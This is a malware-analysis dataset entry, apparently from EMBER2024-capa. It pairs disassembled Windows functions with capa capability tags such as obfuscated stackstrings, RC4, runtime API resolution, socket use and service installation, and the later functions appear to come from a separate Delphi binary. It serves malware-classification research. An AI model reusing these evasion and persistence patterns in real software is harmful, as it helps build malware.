joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get networking interfaces
Identify system language via api
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x407020
push 0x407088
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetVersionExA
push 0x407078
mov dword [esp + 0x88], eax
call esi
push eax
call edi
push 0x407010
push 0x407088
mov ebx, eax
call esi
push eax
call edi
push str.GetSystemInfo
push 0x407078
mov dword [esp + 0x74], eax
call esi
push eax
call edi
push str.GlobalMemoryStatusEx
push 0x407078
mov dword [esp + 0x90], eax
call esi
push eax
call edi
push str.RegQueryValueExA
push 0x407088
mov dword [esp + 0x94], eax
call esi
push eax
call edi
mov dword [esp + 0x7c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov ebp, dword [esp + 0x358]
and eax, 0xffff
mov ecx, 0x27
lea edi, [esp + 0xd0]
mov dword [ebp], eax
xor eax, eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0xd0]
mov dword [esp + 0xd0], 0x9c
push eax
call ebx
xor ebx, ebx
mov cl, 0x32
mov al, 0x30
mov byte [esp + 0x28], 0x4e
mov byte [esp + 0x29], 0x54
mov byte [esp + 0x2a], bl
mov byte [esp + 0x38], cl
jmp loc.00412975

Function at 0x4018f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00401790
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x401938
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x38
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
jmp loc.004130a3
jmp loc.00413484

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401c64
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407164
push 0x407180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jmp loc.00412787
Function at 0x401cd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4074ec
test eax, eax
je fcn.00401e03
push 0x20
xor eax, eax
pop ecx
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
cmp dword [0x40777c], 1
jne fcn.00401ddf
jmp loc.00413434

Function at 0x401e6a
Capabilities:
Packed with generic packer
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
jmp loc.00413575

Function at 0x40221a
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x407304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4071e0
push ebx
jmp loc.004129a3

Function at 0x402449
Capabilities:
Get socket status
Packed with generic packer
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x402462
push 1
pop eax
jmp 0x4024d7
mov eax, dword [0x408498]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024d0
test eax, eax
je 0x402462
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
jmp 0x412c7c
xor eax, eax
cmp esi, ebx
sete al
pop esi
pop ebx
leave
ret

Function at 0x402c3a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402caf
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp loc.0041375b
pop esi
pop ebx
leave
ret
Function at 0x402f20
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetLastError
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ExitProcess
push ebx
call esi
push eax
call edi
push str.GetCurrentThreadId
push ebx
call esi
push eax
call edi
push str.CreateMutexA
push ebx
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
call esi
push eax
call edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push str.Sleep
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x41
xor eax, eax
pop ecx
lea edi, [ebp - 0x11c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x11c]
push 0x104
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [ebp - 8]
call fcn.00403005
test eax, eax
je 0x402fe7
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.Sertiey
push eax
mov dword [ebp - 0x14], 0x402cb3
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call dword [ebp - 4]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
jmp loc.00412635

Function at 0x403005
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
jmp loc.004136d8
Function at 0x403166
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403960
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x36c], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x368], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.WinExec
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x370]
push esi
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x35c]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je fcn.00403577
jmp loc.00412dd6

Function at 0x403930
Capabilities:
Packed with generic packer

Disassembly:
cmp cl, 0x40
jae 0x40394a
cmp cl, 0x20
jae 0x403940
shrd eax, edx, cl
shr edx, cl
ret
mov eax, edx
jmp loc.00413524
xor eax, eax
xor edx, edx
ret

Function at 0x403966
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406170
jmp loc.00412459
Function at 0x403b80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x40552e
Capabilities:
Packed with generic packer

Disassembly:
cmp edi, 0xffffffff
je fcn.0040553a
push edi
jmp loc.00413388

Function at 0x4055b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Packed with generic packer

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
jmp loc.0041379b

Function at 0x41294c
Capabilities:
Packed with generic packer

Disassembly:
pushfd
pushal
push ebp
mov ebp, esp
xor eax, eax
mov ecx, 0x11
push edi
push ebx
mov edi, edx
mov eax, 0x30
and eax, 0xfffffff0
add esp, 8
leave
popal
popfd
push ecx
mov ecx, dword [esp + 0x14]
jmp loc.00404388
Function at 0x4040b4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp byte [0x464268], 0
jne 0x4041fb
call sub.kernel32.dll_GetCurrentProcessId
mov ebx, eax
xor eax, eax
mov ecx, eax
add ecx, ecx
add ecx, ecx
mov edx, ebx
shr edx, cl
and edx, 0xf
movzx edx, byte [edx + str.0123456789ABCDEF___]
mov ecx, 0x18
sub ecx, eax
mov byte [ecx + str.LocalFastMM_PID_________], dl
inc eax
cmp eax, 8
jne 0x4040d0
push str.LocalFastMM_PID_________
push 0
push 4
call sub.kernel32.dll_OpenFileMappingA
mov dword [0x464264], eax
cmp dword [0x464264], 0
jne 0x40419e
mov eax, dword [sym.imp.rtl160.bpl__System_IsLibrary]
cmp byte [eax], 0
jne 0x404159
push str.LocalFastMM_PID_________
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov dword [0x464264], eax
push 0
push 0
push 0
push 2
mov eax, dword [0x464264]
push eax
call sub.kernel32.dll_MapViewOfFile
mov dword [eax], 0x46424c
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov dword [0x46424c], fcn.00402ac4
mov dword [0x464250], 0x402da8
mov dword [0x464254], 0x402f28
mov dword [0x464258], 0x4031b8
mov dword [0x46425c], 0x403390
mov dword [0x464260], 0x4033dc
mov byte [0x464269], 1
jmp 0x4041e0
push 0
push 0
push 0
push 4
mov eax, dword [0x464264]
push eax
call sub.kernel32.dll_MapViewOfFile
mov edx, dword [eax]
mov esi, edx
mov edi, 0x46424c
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, dword [0x464264]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
mov dword [0x464264], eax
mov byte [0x464269], 0
mov eax, 0x464234
call sub.rtl160.bpl__System_GetMemoryManager_qqrr23System_TMemoryManagerEx
mov eax, 0x46424c
call sub.rtl160.bpl__System_SetMemoryManager_qqrrx23System_TMemoryManagerEx
mov byte [0x464268], 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4081f4
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov esi, ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4083ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 1
xor edx, edx
push ebp
push 0x408353
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
mov ecx, ebx
mov dl, 1
mov eax, dword [sym.imp.rtl160.bpl__System_Classes_TFileStream_]
call sub.rtl160.bpl__System_Classes_TFileStream__bctr_qqrx20System_UnicodeStringus
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x408342
push dword fs:[eax]
mov dword fs:[eax], esp
or edi, 0xffffffff
mov eax, esi
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov edx, eax
lea eax, [ebp - 0x10]
call sub.rtl160.bpl__System__UStrFromPWChar_qqrr20System_UnicodeStringpb
mov eax, dword [ebp - 0x10]
mov dl, 1
call sub.rtl160.bpl__System_Sysutils_FileExists_qqrx20System_UnicodeStringo
mov ebx, eax
test bl, bl
je 0x4082a6
mov eax, esi
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_GetFileAttributesW
mov edi, eax
cmp edi, 0xffffffff
je 0x408291
push 0x80
mov eax, esi
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_SetFileAttributesW
push 0x41
mov ecx, esi
mov dl, 1
mov eax, dword [sym.imp.rtl160.bpl__System_Classes_TFileStream_]
call sub.rtl160.bpl__System_Classes_TFileStream__bctr_qqrx20System_UnicodeStringus
mov dword [ebp - 0xc], eax
jmp 0x4082bc
push 0xff40
mov ecx, esi
mov dl, 1
mov eax, dword [sym.imp.rtl160.bpl__System_Classes_TFileStream_]
call sub.rtl160.bpl__System_Classes_TFileStream__bctr_qqrx20System_UnicodeStringus
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x408325
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call sub.rtl160.bpl__System_Classes_TStream_CopyFrom_qqrp22System_Classes_TStreamj
test bl, bl
je 0x4082f7
cmp edi, 0xffffffff
je 0x40830f
push edi
mov eax, esi
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_SetFileAttributesW
jmp 0x40830f
mov eax, dword [ebp - 8]
mov eax, dword [eax + 4]
call sub.rtl160.bpl__System_Sysutils_FileGetDate_qqrui
mov edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
call sub.rtl160.bpl__System_Sysutils_FileSetDate_qqruii
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40832c
lea eax, [ebp - 0xc]
call sub.rtl160.bpl__System_Sysutils_FreeAndNil_qqrpv
ret
Function at 0x40cf28
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40d09b
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x40d076
push dword fs:[edx]
mov dword fs:[edx], esp
mov word [ebp - 0x216], 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0x105
lea eax, [ebp - 0x216]
push eax
lea eax, [ebp - 0x21c]
mov edx, esi
call sub.rtl160.bpl__System__UStrFromWChar_qqrr20System_UnicodeStringb
lea eax, [ebp - 0x21c]
mov edx, 0x40d0b4
call sub.rtl160.bpl__System__UStrCat_qqrr20System_UnicodeStringx20System_UnicodeString
mov eax, dword [ebp - 0x21c]
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_GetVolumeInformationW
test eax, eax
je 0x40cfe7
lea eax, [ebp - 0x216]
call sub.rtl160.bpl__System__PWCharLen_qqrpb
lea edx, [ebp - 0x216]
mov ecx, ebx
xchg ecx, eax
call sub.rtl160.bpl__System__UStrFromPWCharLen_qqrr20System_UnicodeStringpbi
jmp 0x40cfee
mov eax, ebx
call sub.rtl160.bpl__System__UStrClr_qqrpv
cmp si, 0x61
jae 0x40d010
lea edx, [ebp - 0x220]
mov eax, dword [ebx]
call sub.rtl160.bpl__System_Sysutils_AnsiUpperCaseFileName_qqrx20System_UnicodeString
mov edx, dword [ebp - 0x220]
mov eax, ebx
call sub.rtl160.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
jmp 0x40d02a
lea edx, [ebp - 0x224]
mov eax, dword [ebx]
call sub.rtl160.bpl__System_Sysutils_AnsiLowerCaseFileName_qqrx20System_UnicodeString
mov edx, dword [ebp - 0x224]
mov eax, ebx
call sub.rtl160.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
lea eax, [ebp - 0x228]
push eax
mov eax, dword [ebx]
mov dword [ebp - 0x230], eax
mov byte [ebp - 0x22c], 0x11
lea edx, [ebp - 0x230]
xor ecx, ecx
mov eax, 0x40d0c8
call sub.rtl160.bpl__System_Sysutils_Format_qqrx20System_UnicodeStringpx14System_TVarRecxi
mov edx, dword [ebp - 0x228]
mov eax, ebx
call sub.rtl160.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d07d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
Function at 0x41665c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp - 4]
call sub.rtl160.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x416758
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, word [esi + 4]
mov word [ebx + 4], ax
movzx eax, word [esi + 6]
mov word [ebx + 6], ax
movzx eax, word [esi + 8]
mov word [ebx + 8], ax
movzx eax, word [esi + 0xa]
mov word [ebx + 0x64], ax
mov eax, dword [esi + 0xc]
call fcn.0041a038
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [ebx + 0x14], eax
mov eax, dword [esi + 0x18]
mov dword [ebx + 0x18], eax
movzx eax, word [esi + 0x1c]
mov word [ebx + 0x1c], ax
movzx eax, word [esi + 0x1e]
mov word [ebx + 0x1e], ax
movzx eax, word [esi + 0x20]
mov word [ebx + 0x22], ax
movzx eax, word [esi + 0x22]
mov word [ebx + 0x24], ax
movzx eax, word [esi + 0x24]
mov word [ebx + 0x26], ax
mov eax, dword [esi + 0x26]
mov dword [ebx + 0x28], eax
mov eax, dword [esi + 0x2a]
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004110b4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00417df8
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00411044
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00417e70
lea eax, [ebx + 0x50]
call sub.rtl160.bpl__System__LStrClr_qqrpv
mov byte [ebx + 0x54], 0
mov byte [ebx + 0x56], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41675f
lea eax, [ebp - 0xc]
mov edx, 3
call sub.rtl160.bpl__System__UStrArrayClr_qqrpvi
ret
Function at 0x416768
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
mov eax, dword [ebp - 4]
call sub.rtl160.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x416874
push dword fs:[eax]
mov dword fs:[eax], esp
mov word [ebx + 4], 0
movzx eax, word [esi + 4]
mov word [ebx + 6], ax
movzx eax, word [esi + 6]
mov word [ebx + 8], ax
movzx eax, word [esi + 8]
mov word [ebx + 0x64], ax
mov eax, dword [esi + 0xa]
call fcn.0041a038
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0xe]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x12]
mov dword [ebx + 0x14], eax
mov eax, dword [esi + 0x16]
mov dword [ebx + 0x18], eax
movzx eax, word [esi + 0x1a]
mov word [ebx + 0x1c], ax
movzx eax, word [esi + 0x1c]
mov word [ebx + 0x20], ax
mov word [ebx + 0x22], 0
mov word [ebx + 0x24], 0
mov word [ebx + 0x26], 0
xor eax, eax
mov dword [ebx + 0x28], eax
xor eax, eax
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], 0
mov dword [ebx + 0x34], 0
cmp dword [ebp - 4], 0
je 0x416837
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004110b4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00417df8
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00411044
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.00417e70
jmp 0x416849
xor edx, edx
mov eax, ebx
call fcn.00417df8
xor edx, edx
mov eax, ebx
call fcn.00417e70
lea eax, [ebx + 0x50]
call sub.rtl160.bpl__System__LStrClr_qqrpv
mov byte [ebx + 0x54], 0
mov byte [ebx + 0x56], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41687b
lea eax, [ebp - 0xc]
mov edx, 3
call sub.rtl160.bpl__System__UStrArrayClr_qqrpvi
ret

Function at 0x41a52c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl160.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x41a585
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 4]
call sub.rtl160.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeW
cmp eax, 2
je 0x41a56d
push esi
call sub.kernel32.dll_GetDriveTypeW
cmp eax, 5
jne 0x41a56f
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a58c
lea eax, [ebp - 4]
call sub.rtl160.bpl__System__UStrClr_qqrpv
ret